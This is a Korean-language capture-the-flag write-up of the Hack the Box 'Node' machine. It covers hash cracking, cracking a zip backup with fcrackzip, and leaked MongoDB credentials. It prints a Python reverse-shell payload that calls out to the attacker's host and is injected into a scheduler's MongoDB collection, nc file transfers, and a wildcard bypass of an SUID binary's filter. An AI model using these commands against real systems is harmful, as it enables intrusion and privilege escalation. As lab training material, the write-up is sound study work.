node 롸업 정리

https://github.com/rkhal101/Hack-the-Box-OSCP-Preparation/blob/master/linux-boxes/node-writeup-w-o-metasploit.md

GitHub - rkhal101/Hack-the-Box-OSCP-Preparation: Hack-the-Box-OSCP-Preparation

---

nmap

---

http://10.10.10.58:3000

이 세 닉네임을 기억하자

개발자 도구에서 확인한 js 파일

---

/

---

/api/users/latest

password가 hash된 값인 것 같다. sha256으로 online decrypt해보니까,

tom/ spongebob

mark/ snowflake

rastating/ ???

rastating빼고는 다 구해진다. 

---

---

tom으로 로그인해서 접근해도 똑같이 나온다. 정말 admin의 backup 관련 파일일 것이다.

만약 tom으로 로그인해서 접근하면 tom의 정보가 뜬다.

---

/api/users

admin 관련 정보가 나왔다.

의아한 점은 myP14ceAdm1nAcc0uNT/ manchester 로 바로 비밀번호가 구해진다.

---

myP14ceAdm1nAcc0uNT / manchester로 로그인하면 backup파일을 다운로드할 수 있는 버튼이 뜬다.

myplace.backup의 이름으로 파일이 다운받아진다.

cat 해보면 맨 끝에 다음과 같이 되어있는 걸 봐서 base64 encoding되어있는 것 같다.

 

---

myplace-decoded.backup 암호 알아내기

unzip할 때 비밀번호가 혹시 manchester일까... 입력해봤지만 어림도 없지

파일에 걸린 비밀번호 풀 때는 john the ripper라고 생각했지만, 이 파일은 지금 압축 파일이다.

때문에 john으로 시도하면 다음과 같이 안되는 것을 볼 수 있다.

 

fcrackzip

이름에서부터 풍겨오는 암호화된 zip 복호화할 것 같은 느낌

fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt myplace-decoded.backup

비밀번호는 magicword

---

myplace.backup

unzip해서 입장해보면 var/www/myplace 밑에 다음과 같은 파일들을 볼 수 있다.

 

 

 

 

 

 

 

 

app.js

mongodb : mark/ 5AYRft73VtFpc84k

database name : myplace

backup_key : 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474

collections : users

---

ssh mark@10.10.10.58

mongodb를 사용하는 것을 알았고, mark의 비밀번호도 안다.

그럼 mongodb에 접속해보고 싶겠지?

일단 ssh mark@10.10.10.58로 해당 서버에 접근한다. 

하지만 user.txt(locate user.txt)조차 볼 수 없는 권한이다. 권한 상승이 필요해보인다.

* user.txt는 /home/tom 에 있다.

---

LinEnum.sh

LineEnum.sh란? 언제 쓰이는지?

보통 본인이 직접 다운받지 않는 이상은 없을 것이다.

나는 (내 kali의) /tmp에 LinEnum.sh를 직접 만들었다.

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks

 

내 kali에서 만든 LinEnum.sh를 mark가 다운받을 수 있도록 하겠다.

 

- 내 kali

/tmp에서 python -m SimpleHTTPServer 5555

- mark

/tmp에서 wget http://10.10.14.30:5555/LinEnum.sh

chmod +x LinEnum.sh

./LinEnum.sh

---

./LinEnum.sh의 결과에서의 유의미한 결과

service 부분에서 우리에게 필요한 정보를 발견할 수 있다.

로컬에서 mongodb가 돌고있고,

/var/www/myplace/app.js와 /var/schedular/app.js이 tom의 권한으로 돌고있는 것을 볼 수 있다.

 

/var/schedular/app.js

database : scheduler(아까는 myplace였다.)

tasks collection이 "_id", "cmd"로 구성되어있고, task collection의 모든 document의 "cmd"를 하나씩 실행하는 것 같다.

 

mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler

mongodb에 접속

> db

> show collections☞ tasks 하나 나옴

> db.tasks.find() ☞ 아무것도 안나옴

> db.tasks.insert({cmd: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.30\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"}) ☞ reverse shell을 "cmd" : "~~" 형태로 insert

 

[**] 이때 내 kali에서 nc -nlvp 1234로 기다리고있으면 쉘이 따진다. (service에 아예 scheduler/app.js가 실행 중이기 때문,,,)

---

권한상승

1. tom의 id와 tom이 속한 group id를 확인한다.

2. ./LinEnum 다시 실행한다. 여기서 SUID 비트가 세팅된 파일을 찾는다.

이 많은 SUID 설정된 파일 중 봐야하는 것은 앞서 구한 myplace.backup에서 확인할 수 있다.

사진A

[***] SUID란?

- 프로세스가 실행중인 동안 일시적으로 해당 실행 파일의 소유자, 소유그룹의 권한으로써 자원에 접근할 수 있도록 하는 권한 설정

- SUID가 설정된 프로그램을 실행하면 프로세스가 동작하는 동안 RUID는 실행시킨 사용자의 UID로 설정되고, EUID는 실행파일 소유자의 UID로 설정된다.

- 따라서 실행시킨 사용자와는 무관하게 프로세스가 실행중인 동안에는 실행파일 소유자의 권한으로 자원에 접근한다.

[ 출처 : https://m.blog.naver.com/on21life/221464453356 ]

3. 이 파일에 SUID가 세팅되어 있으므로, 그 파일의 소유자의 권한으로 실행할 수 있다. 이 경우에, 이 파일의 소유자는 root이므로 root 권한으로 실행할 수 있다. 또한 tom은 admin그룹(1002)에 속해있으므로 이 파일을 read, execute할 수 있다.

4. 사진A에서 보면 명령어가 /usr/local/bin/backup -q <backup_key> <dirname>임을 알 수 있다.

 

이제부터 backup 파일을 로컬로 옮겨 분석해보자.

---

[참고] 획득한 쉘에서 로컬로 파일 보내기

kali@kali $ nc -nlvp 5555 > backup

tom@node $ nc 10.10.14.30 5555 < `which backup`

 

이렇게 하면 로컬(kali)에 backup파일이 카피된다.

 

같은 파일인지 확인하고 싶다면, md5sum backup으로 체크섬 값을 비교하면 된다.

---

backup ->IDA 분석하기

/usr/local/bin/backup -q <backup_key> <__dirname>를 실행하면 argv[3]에 넣은 파일 경로를 zip하는 것을 볼 수 있다.

 

아이다로 깠을 때, 이 코드 윗 부분을 보면 "..", ";", "&" 등 다양하게 필터링 해놓은 것을 볼 수 있다.

이를 우회해서 root.txt를 볼 수 있는 방법은

---

root.txt - wild card

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt > root

 

이렇게 나온 파일 root를 다시 로컬(내 kali)로 아까와 같은 방식으로 옮긴다.

cat root | base64 --decode > root.txt

file root.txt

unzip root.txt

하면 /root/root.txt가 떨어진다. 이를 확인하면 된다.